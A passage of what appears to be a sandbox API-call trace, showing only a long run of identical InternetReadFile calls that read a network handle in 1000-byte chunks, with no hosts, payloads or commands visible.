dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3360000*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.293] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33603e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33603e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.293] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33607d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33607d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.293] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3360bb8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3360bb8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.294] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3360fa0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3360fa0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.294] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3361388, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3361388*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.294] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3361770, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3361770*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.294] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3361b58, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3361b58*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.294] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3361f40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3361f40*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.295] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3362328, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3362328*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.295] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3362710, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3362710*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.295] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3362af8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3362af8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.295] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3362ee0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3362ee0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.296] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33632c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33632c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.296] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33636b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33636b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.296] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3363a98, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3363a98*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.296] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3363e80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3363e80*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.297] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3364268, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3364268*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.297] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3364650, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3364650*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.297] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3364a38, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3364a38*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.297] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3364e20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3364e20*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.298] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3365208, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3365208*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.298] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33655f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33655f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.298] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33659d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33659d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.298] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3365dc0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3365dc0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.298] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33661a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33661a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.299] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3366590, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3366590*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.299] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3366978, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3366978*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.299] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3366d60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3366d60*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.300] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3367148, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3367148*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.300] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3367530, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3367530*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.300] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3367918, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3367918*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.300] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3367d00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3367d00*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.300] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33680e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33680e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.301] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33684d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33684d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.301] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33688b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33688b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.301] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3368ca0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3368ca0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.302] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3369088, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3369088*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.302] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3369470, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3369470*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.302] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3369858, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3369858*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.302] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3369c40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3369c40*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.302] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336a028, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336a028*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.303] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336a410, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336a410*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.303] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336a7f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336a7f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.303] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336abe0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336abe0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.303] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336afc8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336afc8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.304] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336b3b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336b3b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.304] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336b798, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336b798*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.304] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336bb80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336bb80*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.304] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336bf68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336bf68*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.304] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336c350, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336c350*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.305] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336c738, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336c738*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.305] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336cb20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336cb20*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.305] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336cf08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336cf08*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.305] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336d2f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336d2f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.306] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336d6d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336d6d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.306] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336dac0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336dac0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.306] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336dea8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336dea8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.306] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336e290, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336e290*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.307] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336e678, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336e678*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.307] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336ea60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336ea60*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.307] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336ee48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336ee48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.307] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336f230, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336f230*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.307] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336f618, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336f618*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.308] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336fa00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336fa00*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.308] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336fde8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336fde8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.308] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33701d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33701d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.308] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33705b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33705b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.309] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33709a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33709a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.309] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3370d88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3370d88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.309] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3371170, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3371170*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.309] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3371558, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3371558*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.310] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3371940, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3371940*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.310] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3371d28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3371d28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.310] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3372110, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3372110*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.310] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33724f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33724f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.310] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33728e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33728e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.311] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3372cc8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3372cc8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.312] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33730b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33730b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.312] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3373498, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3373498*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.313] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3373880, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3373880*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.313] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3373c68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3373c68*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.313] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3374050, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3374050*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.313] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3374438, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3374438*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.314] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3374820, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3374820*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.314] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3374c08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3374c08*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.314] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3374ff0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3374ff0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.314] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33753d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33753d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.315] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33757c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33757c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.315] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3375ba8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3375ba8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.315] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3375f90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3375f90*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.315] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3376378, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3376378*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.315] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3376760, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3376760*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.316] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3376b48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3376b48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.316] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3376f30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3376f30*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.316] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3377318, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3377318*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.317] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3377700, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3377700*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.317] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3377ae8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3377ae8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.317] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3377ed0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3377ed0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.318] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33782b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33782b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.318] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33786a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33786a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.318] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3378a88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3378a88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.318] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3378e70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3378e70*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.318] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3379258, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3379258*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.318] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3379640, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3379640*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.319] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3379a28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3379a28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.319] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3379e10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3379e10*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.319] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x337a1f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x337a1f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.319] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x337a5e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x337a5e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.319] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x337a9c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x337a9c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.319] InternetReadFile 